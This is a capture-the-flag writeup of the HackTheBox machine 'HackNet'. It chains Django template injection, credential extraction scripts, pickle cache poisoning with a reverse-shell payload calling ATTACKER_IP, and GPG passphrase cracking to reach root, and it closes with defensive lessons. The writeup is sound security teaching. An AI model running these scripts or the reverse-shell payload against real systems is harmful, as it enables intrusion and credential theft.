HTB: HackNet Writeup
HackNet - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | HackNet |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.10.11.85 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
HackNet is a Django-based social networking platform that exposes multiple critical vulnerabilities in its implementation. The initial foothold is achieved through Server-Side Template Injection (SSTI) in user profile fields, which allows attackers to leak sensitive credentials from users who interacted with posts. Privilege escalation leverages Django’s FileBasedCache Pickle deserialization weakness for cache poisoning, followed by GPG key passphrase recovery to decrypt database backups containing root credentials. This machine demonstrates real-world web application security flaws and the critical importance of secure configuration across multiple layers.
TL;DR: SSTI Credential Leakage → SSH Access → Cache Poisoning RCE → GPG Passphrase Cracking → Root Database Access
Reconnaissance
Port Scanning
nmap -p- --min-rate=1000 -sC -sV 10.10.11.85Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)80/tcp open http nginx 1.22.1Two services are identified:
- SSH on port 22 running OpenSSH 9.2p1
- HTTP on port 80 running nginx 1.22.1, with a redirect to
http://hacknet.htb
Service Enumeration
HTTP Service Analysis:
The web server redirects to the domain hacknet.htb. After adding an entry to /etc/hosts:
echo "10.10.11.85 hacknet.htb" | sudo tee -a /etc/hostsVisiting http://hacknet.htb reveals a hacker-themed social networking platform with login and signup functionality. After creating an account and logging in, we discover the following features:
- User profile creation and editing (username, email, password, description)
- Post creation capability
- Like functionality with user lists
- Explore section showing public posts
- Contact request system
The Wappalyzer extension identifies the application as Django-based, suggesting potential template injection vulnerabilities.
Vulnerability Assessment
Server-Side Template Injection (SSTI):
Testing the profile fields with Jinja2 payloads like {{ 7*7 }} in the username field reveals that the application is evaluating template expressions. When the likes list is expanded for a post containing an SSTI payload in the username field, an error occurs, confirming the vulnerability exists in the template rendering context.
Identified Attack Surface:
- Profile fields (username, description) are reflected in the likes widget
- Template context variables are accessible through object traversal
- No input sanitization or template escaping is implemented
Initial Foothold
SSTI Enumeration and Exploitation
Step 1: Discover Injectable Parameters
We create a Python script to enumerate available context variables by fuzzing parameter names against the Django template context:
#!/usr/bin/env python3import requestsimport re
# ConfigurationSESSION_ID = "your_session_cookie_here"PARAM_FILE = "/usr/share/wordlists/seclists/raft-medium-words-lowercase.txt"EDIT_PROFILE_URL = "http://hacknet.htb/profile/edit"LIKES_LINK = "http://hacknet.htb/likes/28"
# Setup sessionsession = requests.Session()cookies = {"sessionid": SESSION_ID}
# Retrieve CSRF tokenresp = session.get(EDIT_PROFILE_URL, cookies=cookies)match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text)if not match: print("[!] Could not find CSRF token") exit(1)
csrftoken = match.group(1)print(f"[+] CSRF token retrieved: {csrftoken}")
# Load parameter wordlistwith open(PARAM_FILE, "r") as f: param_list = [line.strip() for line in f]
print(f"[+] Loaded {len(param_list)} parameters")
# Fuzz for injectable parametersfor param in param_list: payload = f"{{{{ {param} }}}}"
data = { "username": payload, "csrfmiddlewaretoken": csrftoken, "about": "", "email": "", "password": "", "is_public": "on", }
session.post(EDIT_PROFILE_URL, data=data, cookies=cookies) r = session.get(LIKES_LINK, cookies=cookies)
# Check if parameter was resolved if param in r.text and "QuerySet" not in r.text: print(f"[+] Found injectable param: {param}")Output: The script identifies users as a valid context variable resolving to a Django QuerySet.
Step 2: Test Context Variable Access
Update the username field to {{ users }} and reload the likes list. The output reveals:
<QuerySet [<SocialUser: {{ users }}>]>This confirms we can access the users QuerySet. Test attribute access with {{ users.0.email }}:
# Set username to {{ users.0.email }}# Reload likes list# Output reveals: admin@hacknet.htbSimilarly, test password extraction with {{ users.0.password }}:
# Set username to {{ users.0.password }}# Reload likes list# Output reveals: hashed_password_valueStep 3: Credential Extraction from High-Engagement Posts
Identify the post with the most likes in the Explore section. This post (ID: 15) has been liked by multiple users. Create an automated extraction script:
#!/usr/bin/pythonimport requests
result_emails = []result_passwords = []
session_id = 'your_session_cookie_here'likes_link = 'http://hacknet.htb/likes/15'
s = requests.Session()cookies = {'sessionid': session_id}
# Get CSRF tokenr = s.get('http://hacknet.htb/profile/edit', cookies=cookies)token_post = r.text.find('csrfmiddlewaretoken')csrftoken = r.text[token_post+28:token_post+92]
# Iterate through QuerySet indices to extract credentialsfor param in range(1, 20): # Extract email parm_string = "{{ users." + str(param) + ".email }}" data = { "username": parm_string, "csrfmiddlewaretoken": csrftoken, "about": "", "email": "", "password": "", "is_public": "on" } r = s.post('http://hacknet.htb/profile/edit', data=data)
# Fetch rendered page r = s.get(likes_link) email = r.text[2112:-12] if email: result_emails.append(email)
# Extract password parm_string = "{{ users." + str(param) + ".password }}" data["username"] = parm_string r = s.post('http://hacknet.htb/profile/edit', data=data)
# Fetch rendered page r = s.get(likes_link) password = r.text[2112:-12] if password: result_passwords.append(password)
# Display resultsfor i in range(len(result_emails)): print(f"Found: {result_emails[i]} - {result_passwords[i]}")Extracted Credentials:
rootbreaker@exploitmail.net - R00tBr3@ker#zero_day@hushmail.com - Zer0D@yH@ckshadowcaster@darkmail.net - Sh@d0wC@st!blackhat_wolf@cypherx.com - Bl@ckW0lfH@ckbytebandit@exploitmail.net - Byt3B@nd!t123glitch@cypherx.com - Gl1tchH@ckzphreaker@securemail.org - Phre@k3rH@ckcodebreaker@ciphermail.com - C0d3Br3@k!netninja@hushmail.com - N3tN1nj@2024packetpirate@exploitmail.net - P@ck3tP!rat3darkseeker@darkmail.net - D@rkSeek3r#trojanhorse@securemail.org - Tr0j@nH0rse!exploit_wizard@hushmail.org - Expl01tW!zardwhitehat@darkmail.net - Wh!t3H@t2024deepdive@hacknet.htb - D33pD!v3rvirus_viper@securemail.org - V!rusV!p3r2024brute_force@ciphermail.com - BrUt3F0rc3#shadowwalker@hushmail.com - Sh@dowW@lk2024dot@htb.com - pass123Step 4: Lateral Movement Within Application
The account deepdive@hacknet.htb is notable as it’s hosted on the internal domain. However, it has 2FA enabled and a private profile, preventing direct credential leakage.
To bypass this:
- Send a contact request to
deepdivefrom our account - Log in as
deepdive(using credentials:deepdive@hacknet.htb:D33pD!v3r) - Accept the contact request
- Switch back to our account and like deepdive’s private post
- Extract
backdoor_banditcredentials from the likes list
Step 5: Extract backdoor_bandit Credentials
Using the same SSTI payload technique:
# Set username to {{ users.0.email }}# Result: mikey@hacknet.htb
# Set username to {{ users.0.password }}# Result: mYd4rks1dEisH3reStep 6: SSH Access
ssh mikey@hacknet.htb# Password: mYd4rks1dEisH3reVerify access:
mikey@hacknet:~$ iduid=1000(mikey) gid=1000(mikey) groups=1000(mikey)
mikey@hacknet:~$ cat /home/mikey/user.txt<redacted>Privilege Escalation
Step 1: Identify Cache Poisoning Vector
During filesystem enumeration, we discover the Django cache configuration in /var/www/HackNet/HackNet/settings.py:
CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache', 'LOCATION': '/var/tmp/django_cache', 'TIMEOUT': 60, 'OPTIONS': {'MAX_ENTRIES': 1000}, }}Vulnerability Analysis:
Django’s FileBasedCache stores entries as Pickle-serialized objects. Unlike session storage (which was secured against Pickle deserialization), cache entries are still vulnerable. The cache directory permissions are world-writable:
mikey@hacknet:~$ ls -l /var/tmp/ | grep django_cachedrwxrwxrwx 2 sandy www-data 4096 Jan 16 05:40 django_cacheStep 2: Trigger Cache Creation
Visit the Explore page to generate a cache file:
curl http://hacknet.htb/exploreCheck the cache directory:
mikey@hacknet:/var/tmp/django_cache$ ls -al# Output shows .djcache files with readable permissions for www-dataStep 3: Create Malicious Pickle Payload
Craft a Python script to generate a poisoned pickle object:
#!/usr/bin/env python3import pickleimport subprocess
class EvilPickle: def __reduce__(self): # Execute reverse shell when unpickled return (subprocess.Popen, (["/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"],))
payload = pickle.dumps(EvilPickle())
# Write to cache file locationwith open('/tmp/CACHE_FILENAME.djcache', 'wb') as f: f.write(payload)Replace ATTACKER_IP with your attack machine’s IP and CACHE_FILENAME with the actual cache filename from /var/tmp/django_cache/.
Step 4: Execute Cache Poisoning
Set up listener on attack machine:
nc -nvlp 9001On the target, run the exploit and move the poisoned cache file:
mikey@hacknet:/tmp$ python3 exploit.py
mikey@hacknet:/var/tmp/django_cache$ mv /tmp/CACHE_FILENAME.djcache .# Respond 'yes' to override permissions promptRefresh the /explore page to trigger deserialization:
curl http://hacknet.htb/exploreThe poisoned cache is deserialized by the web application (running as sandy), executing the reverse shell:
# On attack machinelistening on [any] 9001 ...connect to [ATTACKER_IP] from [10.10.11.85] PORTsandy@hacknet:/var/www/HackNet$ iduid=1001(sandy) gid=33(www-data) groups=33(www-data)Step 5: Recover GPG Passphrase
Navigate to the backups directory:
sandy@hacknet:~$ ls -l /var/www/HackNet/backups/total 48-rw-r--r-- 1 sandy sandy 13445 Dec 29 2024 backup01.sql.gpg-rw-r--r-- 1 sandy sandy 13713 Dec 29 2024 backup02.sql.gpg-rw-r--r-- 1 sandy sandy 13851 Dec 29 2024 backup03.sql.gpgEnumerate GPG key material:
sandy@hacknet:~/.gnupg/private-keys-v1.d$ ls -l-rw------- 1 sandy sandy 1255 Sep 5 11:33 0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key-rw------- 1 sandy sandy 2088 Sep 5 11:33 armored_key.asc-rw------- 1 sandy sandy 1255 Sep 5 11:33 EF995B85C8B33B9FC53695B9A3B597B325562F4F.keyExtract the ASCII-armored key and transfer it:
# On targetsandy@hacknet:~/.gnupg/private-keys-v1.d$ python3 -m http.server 8080
# On attack machinewget http://10.10.11.85:8080/armored_key.ascGenerate a crackable hash using gpg2john:
gpg2john armored_key.asc > hash.txt
cat hash.txt# Output: Sandy:$gpg$*1*348*1024*db7e6d165a1d86f43...[redacted]...*65011712*850ffb6e35f0058b:::Sandy (My key for backups) <sandy@hacknet.htb>::armored_key.ascCrack the hash with John the Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --pot=none
# Output:# sweetheart (Sandy)Step 6: Decrypt Backup and Extract Root Credentials
Decrypt the backup using the recovered passphrase:
sandy@hacknet:~$ gpg --decrypt --pinentry-mode=loopback /var/www/HackNet/backups/backup02.sql.gpg > backup.sql# When prompted for passphrase, enter: sweetheart
sandy@hacknet:~$ cat backup.sqlSearch the SQL dump for sensitive data:
-- Backup reveals internal employee communications containing:-- Root password: h4ck3rs4re3veRywh3re99Step 7: Obtain Root Access
Authenticate as root using the recovered password:
sandy@hacknet:~$ su rootPassword: h4ck3rs4re3veRywh3re99
root@hacknet:/home/sandy# iduid=0(root) gid=0(root) groups=0(root)
root@hacknet:~# cat /root/root.txt<redacted>Attack Chain Summary
SSTI in Profile Fields ↓Enumerate Django Template Context ↓Extract Credentials via users QuerySet Traversal ↓Lateral Movement: deepdive → backdoor_bandit ↓SSH Access as mikey ↓Cache Poisoning via Pickle Deserialization ↓RCE as sandy (www-data) ↓GPG Passphrase Recovery via John the Ripper ↓Decrypt Database Backup ↓Extract Root Credentials from SQL Dump ↓Root AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service discovery |
curl | HTTP requests and page retrieval |
requests (Python) | Automated SSTI payload testing and credential extraction |
burpsuite | HTTP request interception and analysis |
nc | Reverse shell listener |
pickle (Python) | Malicious serialized object creation |
gpg2john | Hash extraction from GPG keys |
john | Passphrase brute-forcing |
gpg | Backup decryption |
ssh | Remote shell access |
Key Learnings
Techniques Practiced
- Server-Side Template Injection (SSTI) - Exploiting Jinja2 template evaluation to access backend context
- Django Template Context Enumeration - Fuzzing for accessible variables and object attributes
- QuerySet Traversal - Accessing nested ORM objects through template syntax
- Cache Poisoning via Pickle Deserialization - Leveraging unsafe serialization in FileBasedCache
- GPG Key Extraction and Passphrase Cracking - Converting armored keys to crackable hashes
- Privilege Escalation Chaining - Combining multiple vulnerabilities for incremental access
- SQL Dump Analysis - Extracting sensitive data from database backups
Lessons Learned
-
Template Injection is Critical - Never render user-controlled input in template contexts without proper escaping. Use template sandboxing and disable dangerous functions.
-
Pickle Deserialization is Dangerous - Modern frameworks restrict Pickle usage in sessions, but similar protections must extend to all caching mechanisms. Use JSON or other safe serialization formats.
-
Credential Management Matters - Storing plaintext passwords in application databases and database backups without proper encryption creates cascading compromise risks.
-
Cache Directory Permissions - World-writable cache directories allow privilege escalation. Implement strict file permissions (0700 or 0600) for sensitive directories.
-
ORM Context Leakage - Django’s powerful ORM allows traversal of related objects through templates. Always carefully audit what data is passed to template contexts.
-
Multi-Factor Authentication Bypass - 2FA can be circumvented through social engineering (contact requests) within the application. Implement strict data access controls regardless of 2FA status.
-
Backup Security is Application Security - Database backups are as critical as live databases. Encrypt with strong passphrases and protect key material independently from backups.
-
Defense in Depth - This machine required chaining multiple vulnerabilities. A single fix at any stage would have prevented compromise. Implement layered defenses.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>